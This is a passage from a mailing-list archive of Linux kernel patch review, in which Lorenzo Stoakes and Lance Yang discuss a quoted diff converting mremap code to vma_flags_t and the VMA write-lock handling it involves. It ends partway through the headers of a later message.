	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 13/13] mm/mremap: convert mremap code to use vma_flags_t
Message-ID: <akaJx8Zt8kazlrjq@lucifer>
References: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org>
 <20260702134947.25189-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702134947.25189-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-d25034/1783008456-0E93CD51-0F9EC836/0/0
X-purgate-type: clean
X-purgate-size: 7008

On Thu, Jul 02, 2026 at 09:49:47PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:36PM +0100, Lorenzo Stoakes wrote:
> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
> >throughout the mremap logic.
> >
> >Additionally update comments to reflect the changes to be consistent.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
>
> The vm_flags_set() cases below spell out vma_start_write(), but the
> vm_flags_clear() cases don't?

Yep as I said elsewhere, implicitly taking the lock is terrible and me doing
this is completely on purpose to get rid of that :)

But I haven't been clear enough clearly, so I should put the argument as to why
that's ok in the commit message.

Will do so on respin.

>
> Thanks, Lance
>
> > mm/mremap.c | 38 ++++++++++++++++++++------------------
> > 1 file changed, 20 insertions(+), 18 deletions(-)
> >
> >diff --git a/mm/mremap.c b/mm/mremap.c
> >index 079a0ba0c4a7..0ea43302b7ed 100644
> >--- a/mm/mremap.c
> >+++ b/mm/mremap.c
> >@@ -68,7 +68,7 @@ struct vma_remap_struct {
> > 	bool populate_expand;		/* mlock()'d expanded, must populate. */
> > 	enum mremap_type remap_type;	/* expand, shrink, etc. */
> > 	bool mmap_locked;		/* Is mm currently write-locked? */
> >-	unsigned long charged;		/* If VM_ACCOUNT, # pages to account. */
> >+	unsigned long charged;		/* If VMA_ACCOUNT_BIT, # pgs to account */
> > 	bool vmi_needs_invalidate;	/* Is the VMA iterator invalidated? */
> > };
> >
> >@@ -954,7 +954,7 @@ static unsigned long vrm_set_new_addr(struct vma_remap_struct *vrm)
> >
> > 	if (vrm->flags & MREMAP_FIXED)
> > 		map_flags |= MAP_FIXED;
> >-	if (vma->vm_flags & VM_MAYSHARE)
> >+	if (vma_test(vma, VMA_MAYSHARE_BIT))
> > 		map_flags |= MAP_SHARED;
> >
> > 	res = get_unmapped_area(vma->vm_file, new_addr, vrm->new_len, pgoff,
> >@@ -976,7 +976,7 @@ static bool vrm_calc_charge(struct vma_remap_struct *vrm)
> > {
> > 	unsigned long charged;
> >
> >-	if (!(vrm->vma->vm_flags & VM_ACCOUNT))
> >+	if (!vma_test(vrm->vma, VMA_ACCOUNT_BIT))
> > 		return true;
> >
> > 	/*
> >@@ -1003,7 +1003,7 @@ static bool vrm_calc_charge(struct vma_remap_struct *vrm)
> >  */
> > static void vrm_uncharge(struct vma_remap_struct *vrm)
> > {
> >-	if (!(vrm->vma->vm_flags & VM_ACCOUNT))
> >+	if (!vma_test(vrm->vma, VMA_ACCOUNT_BIT))
> > 		return;
> >
> > 	vm_unacct_memory(vrm->charged);
> >@@ -1023,7 +1023,7 @@ static void vrm_stat_account(struct vma_remap_struct *vrm,
> > 	struct vm_area_struct *vma = vrm->vma;
> >
> > 	vm_stat_account(mm, vma->vm_flags, pages);
> >-	if (vma->vm_flags & VM_LOCKED)
> >+	if (vma_test(vma, VMA_LOCKED_BIT))
> > 		mm->locked_vm += pages;
> > }
> >
> >@@ -1167,7 +1167,7 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> > 	 * arose, in which case we _do_ wish to unmap the _new_ VMA, which means
> > 	 * we actually _do_ want it be unaccounted.
> > 	 */
> >-	bool accountable_move = (vma->vm_flags & VM_ACCOUNT) &&
> >+	bool accountable_move = vma_test(vma, VMA_ACCOUNT_BIT) &&
> > 		!(vrm->flags & MREMAP_DONTUNMAP);
> >
> > 	/*
> >@@ -1186,7 +1186,7 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> > 	 * portions of the original VMA that remain.
> > 	 */
> > 	if (accountable_move) {
> >-		vm_flags_clear(vma, VM_ACCOUNT);
> >+		vma_clear_flags(vma, VMA_ACCOUNT_BIT);

This is called from move_vma() which holds the VMA write lock on vma.

> > 		/* We are about to split vma, so store the start/end. */
> > 		vm_start = vma->vm_start;
> > 		vm_end = vma->vm_end;
> >@@ -1211,8 +1211,8 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> > 	 * |             |
> > 	 * |-------------|
> > 	 *
> >-	 * Having cleared VM_ACCOUNT from the whole VMA, after we unmap above
> >-	 * we'll end up with:
> >+	 * Having cleared VMA_ACCOUNT_BIT from the whole VMA, after we unmap
> >+	 * above we'll end up with:
> > 	 *
> > 	 *    addr  end
> > 	 *     |     |
> >@@ -1232,13 +1232,15 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> > 		if (vm_start < addr) {
> > 			struct vm_area_struct *prev = vma_prev(&vmi);
> >
> >-			vm_flags_set(prev, VM_ACCOUNT); /* Acquires VMA lock. */
> >+			vma_start_write(prev);
> >+			vma_set_flags(prev, VMA_ACCOUNT_BIT);
> > 		}
> >
> > 		if (vm_end > end) {
> > 			struct vm_area_struct *next = vma_next(&vmi);
> >
> >-			vm_flags_set(next, VM_ACCOUNT); /* Acquires VMA lock. */
> >+			vma_start_write(next);
> >+			vma_set_flags(next, VMA_ACCOUNT_BIT);

These need vma_start_write() as referencing other, unlocked VMAs.

> > 		}
> > 	}
> > }
> >@@ -1321,8 +1323,8 @@ static void dontunmap_complete(struct vma_remap_struct *vrm,
> > 	unsigned long old_start = vrm->vma->vm_start;
> > 	unsigned long old_end = vrm->vma->vm_end;
> >
> >-	/* We always clear VM_LOCKED[ONFAULT] on the old VMA. */
> >-	vm_flags_clear(vrm->vma, VM_LOCKED_MASK);
> >+	/* We always clear VMA_LOCKED[ONFAULT]_BIT on the old VMA. */
> >+	vma_clear_flags_mask(vrm->vma, VMA_LOCKED_MASK);
-
Same as above, called from move_vma() with VMA write lock held.

> >
> > 	/*
> > 	 * anon_vma links of the old vma is no longer needed after its page
> >@@ -1758,14 +1760,14 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
> > 	 * based on the original.  There are no known use cases for this
> > 	 * behavior.  As a result, fail such attempts.
> > 	 */
> >-	if (!old_len && !(vma->vm_flags & (VM_SHARED | VM_MAYSHARE))) {
> >+	if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {
> > 		pr_warn_once("%s (%d): attempted to duplicate a private mapping with mremap.  This is not supported.\n",
> > 			     current->comm, current->pid);
> > 		return -EINVAL;
> > 	}
> >
> > 	if ((vrm->flags & MREMAP_DONTUNMAP) &&
> >-			(vma->vm_flags & (VM_DONTEXPAND | VM_PFNMAP)))
> >+	    vma_test_any(vma, VMA_DONTEXPAND_BIT, VMA_PFNMAP_BIT))
> > 		return -EINVAL;
> >
> > 	/*
> >@@ -1795,7 +1797,7 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
> > 		return 0;
> >
> > 	/* We are expanding and the VMA is mlock()'d so we need to populate. */
> >-	if (vma->vm_flags & VM_LOCKED)
> >+	if (vma_test(vma, VMA_LOCKED_BIT))
> > 		vrm->populate_expand = true;
> >
> > 	/* Need to be careful about a growing mapping */
> >@@ -1803,10 +1805,10 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
> > 	if (pgoff + (new_len >> PAGE_SHIFT) < pgoff)
> > 		return -EINVAL;
> >
> >-	if (vma->vm_flags & (VM_DONTEXPAND | VM_PFNMAP))
> >+	if (vma_test_any(vma, VMA_DONTEXPAND_BIT, VMA_PFNMAP_BIT))
> > 		return -EFAULT;
> >
> >-	if (!mlock_future_ok(mm, vma->vm_flags & VM_LOCKED, vrm->delta))
> >+	if (!mlock_future_ok(mm, vma_test(vma, VMA_LOCKED_BIT), vrm->delta))
> > 		return -EAGAIN;
> >
> > 	if (!may_expand_vm(mm, &vma->flags, vrm->delta >> PAGE_SHIFT))
> >--
> >2.54.0
> >
> >

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 16:18:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 16:18:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352166.1609068 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfK7H-00070E-8O; Thu, 02 Jul 2026 16:18:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352166.1609068; Thu, 02 Jul 2026 16:18:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfK7H-000707-5b; Thu, 02 Jul 2026 16:18:19 +0000
Received: by outflank-mailman (input) for mailman id 1352166;
 Thu, 02 Jul 2026 16:18:17 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfK7F-0006zy-43
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:18:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfK7C-008CkH-TV
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 18:18:15 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a468f43-e002-0a2a0a5209dd-0a2a4506d37c-6
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:18:14 +0200
Received: from [95.215.58.181] (helo=out-181.mta1.migadu.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a468f45-08de-0a2a45060019-5fd73ab5ae21-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:18:13 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
Message-ID: <2f36a2da-0686-485f-b4b9-ae699bef4fd4@linux.dev>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1783009091;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=nLm6wd6MZy34PotO0lu+sqiieTpRzFwK6t+5eDAyG2s=;
	b=ZvFsPkNBnPpT/fXlkSqC4NvmGcAElqV1ItfaWxOxanuNMADXNea0vysO/aaC9fK20Fa/Nl
	/h+xkuVNERTD1ctetn6nlGPrMQ61CJ3XCqhhkVF860M2M509mqat5nuz+pZfFLHprM1shj
	DZ6Bs3Xsc4eQrpsCTRy6e4DCc3heh0Y=
Date: Fri, 3 Jul 2026 00:17:29 +0800
MIME-Version: 1.0
Subject: Re: [PATCH 13/13] mm/mremap: convert mremap code to use vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de,
 maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com,
 mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch,
 l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com,
 kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org,
 jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com,
 rodrigo.vivi@intel.com, tursulin@ursulin.net, robin.clark@oss.qualcomm.com,
 lumag@kernel.org, lyude@redhat.com, dakr@kernel.org,
 tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, heiko@sntech.de,
 andy.yan@rock-chips.com, thierry.reding@kernel.org, mperttunen@nvidia.com,
 jonathanh@nvidia.com, kraxel@redhat.com, dmitry.osipenko@collabora.com,
 zack.rusin@broadcom.com, matthew.brost@intel.com,
 thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com,
 deller@gmx.de, bcrl@kvack.org, viro@zeniv.linux.org.uk, brauner@kernel.org,
 muchun.song@linux.dev, osalvador@suse.de, david@kernel.org, ziy@nvidia.com,
 baolin.wang@linux.alibaba.com, liam@infradead.org, npache@redhat.com,
 ryan.roberts@arm.com, dev.jain@arm.com, baohua@kernel.org, hughd@google.com,
 vbabka@kernel.org, rppt@kernel.org, surenb@google.com, mhocko@suse.com,
 jannh@google.com, pfalcato@suse.de, kees@kernel.org, perex@perex.cz,
 tiwai@suse.com, linux-mips@vger.kernel.org, linux-kernel@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org,
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-mm@kvack.org,
 linux-sound@vger.kernel.org
References: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org>
 <20260702134947.25189-1-lance.yang@linux.dev> <akaJx8Zt8kazlrjq@lucifer>
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
From: Lance Yang <lance.yang@linux.dev>
In-Reply-To: <akaJx8Zt8kazlrjq@lucifer>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-16d1c6/1783009094-C5B3A68D-7765C000/0/0
X-purgate-type: clean
X-purgate-size: 984



On 2026/7/3 00:07, Lorenzo Stoakes wrote:
> On Thu, Jul 02, 2026 at 09:49:47PM +0800, Lance Yang wrote:
>>
>> On Mon, Jun 29, 2026 at 08:25:36PM +0100, Lorenzo Stoakes wrote:
>>> Replace use of the legacy vm_flags_t flags with vma_flags_t values
>>> throughout the mremap logic.
>>>
>>> Additionally update comments to reflect the changes to be consistent.
>>>
>>> No functional change intended.
>>>
>>> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>>> ---
>>
>> The vm_flags_set() cases below spell out vma_start_write(), but the
>> vm_flags_clear() cases don't?
> 
> Yep as I said elsewhere, implicitly taking the lock is terrible and me doing
> this is completely on purpose to get rid of that :)
> 
> But I haven't been clear enough clearly, so I should put the argument as to why
> that's ok in the commit message.
> 
> Will do so on respin.

Makes sense, thanks for spelling it out! A short changelog note
should clear it up for me :D

[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 16:32:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 16:32:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352195.1609077 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfKKO-000246-E6; Thu, 02 Jul 2026 16:31:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352195.1609077; Thu, 02 Jul 2026 16:31:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfKKO-00023z-BS; Thu, 02 Jul 2026 16:31:52 +0000
Received: by outflank-mailman (input) for mailman id 1352195;
 Thu, 02 Jul 2026 16:31:50 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfKKM-00023t-Ue
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:31:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfKKL-007GfE-UP
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 18:31:49 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a469255-bab6-0a2a0a5309dd-0a2a4507b8c8-46
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:31:49 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a469274-9c8e-0a2a45070019-aceafc1f9164-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:31:49 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 6EC6943A8D;
 Thu,  2 Jul 2026 16:31:47 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 0D5261F00A3A;
 Thu,  2 Jul 2026 16:31:30 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783009907;
	bh=E1qWf++P4fQTxTfdt1w7bxV4tlwl6MwcbrDidejiQ/c=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=FTJm75v6g78dw7nc2yIjeNrtd/XXU46WO/2u8nnziEKlJYchAWQ9hGEChgT4F31ah
	 HiH5xTUbuFOhBbd6C1duQ+RhK7b4oHictxqHPOAi/lrzXWZ0FTN2EDGOuyFEWt0mD1
	 vjw0IUs1vrHYSMCjr+3zzHxShdi1SoTmUIrBx0H0nw1oUHkfV6THw+nOZBnbM1ksv+
	 +IgzClZgoCati852KoF+eqgYzFxCjgh+OL3JRZibavJHQwCUYoiGfhSnInQcjeQExX
	 M1Tr3eyxRp2MXQhzrXdgxW+NoNc9BMVcJx67MLhqeaR6Vs6Z2WBP6mhtT0mJnysYek
	 vPOd4U2WlHy2g==
Date: Thu, 2 Jul 2026 17:31:24 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 13/13] mm/mremap: convert mremap code to use vma_flags_t
Message-ID: <akaSQypCQLeW9qfK@lucifer>
References: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org>
 <20260702134947.25189-1-lance.yang@linux.dev>
 <akaJx8Zt8kazlrjq@lucifer>
 <2f36a2da-0686-485f-b4b9-ae699bef4fd4@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <2f36a2da-0686-485f-b4b9-ae699bef4fd4@linux.dev>
X-purgate-ID: tlsNG-ef75cf/1783009909-7DB2325E-5FAACDFD/0/0
X-purgate-type: clean
X-purgate-size: 1287

On Fri, Jul 03, 2026 at 12:17:29AM +0800, Lance Yang wrote:
>
>
> On 2026/7/3 00:07, Lorenzo Stoakes wrote:
> > On Thu, Jul 02, 2026 at 09:49:47PM +0800, Lance Yang wrote:
> > >
> > > On Mon, Jun 29, 2026 at 08:25:36PM +0100, Lorenzo Stoakes wrote:
> > > > Replace use of the legacy vm_flags_t flags with vma_flags_t values
> > > > throughout the mremap logic.
> > > >
> > > > Additionally update comments to reflect the changes to be consistent.
> > > >
> > > > No functional change intended.
> > > >
> > > > Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> > > > ---
> > >
> > > The vm_flags_set() cases below spell out vma_start_write(), but the
> > > vm_flags_clear() cases don't?
> >
> > Yep as I said elsewhere, implicitly taking the lock is terrible and me doing
> > this is completely on purpose to get rid of that :)
> >
> > But I haven't been clear enough clearly, so I should put the argument as to why
> > that's ok in the commit message.
> >
> > Will do so on respin.
>
> Makes sense, thanks for spelling it out! A short changelog note
> should clear it up for me :D

Yeah absolutely, that's necessary and was an oversight on my part, will correct!

Thanks for your great review here, much appreciated! :)

>
> [...]

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 16:39:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 16:39:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352212.1609086 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfKRr-0003GD-9g; Thu, 02 Jul 2026 16:39:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352212.1609086; Thu, 02 Jul 2026 16:39:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfKRr-0003G6-6i; Thu, 02 Jul 2026 16:39:35 +0000
Received: by outflank-mailman (input) for mailman id 1352212;
 Thu, 02 Jul 2026 16:39:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wfKRp-0003G0-U7
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:39:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfKRp-007HlB-At
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 18:39:33 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a469419-bab6-0a2a0a5309dd-0a2a4506b7ca-40
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:39:33 +0200
Received: from [40.93.194.58]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a469443-08de-0a2a45060019-285dc23ac512-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:39:33 +0200
Received: from CH7PR03MB7860.namprd03.prod.outlook.com (2603:10b6:610:24e::14)
 by DM4PR03MB6032.namprd03.prod.outlook.com (2603:10b6:5:393::12) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Thu, 2 Jul
 2026 16:39:30 +0000
Received: from CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343]) by CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343%4]) with mapi id 15.21.0181.009; Thu, 2 Jul 2026
 16:39:29 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=irGt1oz+VsHtgk0pilSn2K54dKX8Es2jvlAesgTgaVbkMUP8sgwow2DUD5+3J2t7f9ikJSOUAUpw6+6lS5cu4nEEmhzgNhS6J4hdjIPJ2pDU66QygR7U3SYSaF5GgRnRC1CN7Svx8nq1cOxAeCcOxiSryAdNrqfS3JW2SSGUhWbwj02yNcddjWWXpU0N4ZPM7swRwAVkuDqeo9T++NPJ8ro9JLSi2Azmv8AxVAd/VjJzrvvsXwI24R/PMp5IC1lrNegxwMFbAZGt9DYC4LXFathrVzHSaefsFznVb30n68xcpSr1zayA8QMwL8xJD0NSjqLFBUm17xRcfnA+vQ+Xnw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=eGR5Lkr/+WrJogcyH2alIWIw2RuHcvnc2gBp24CTNrI=;
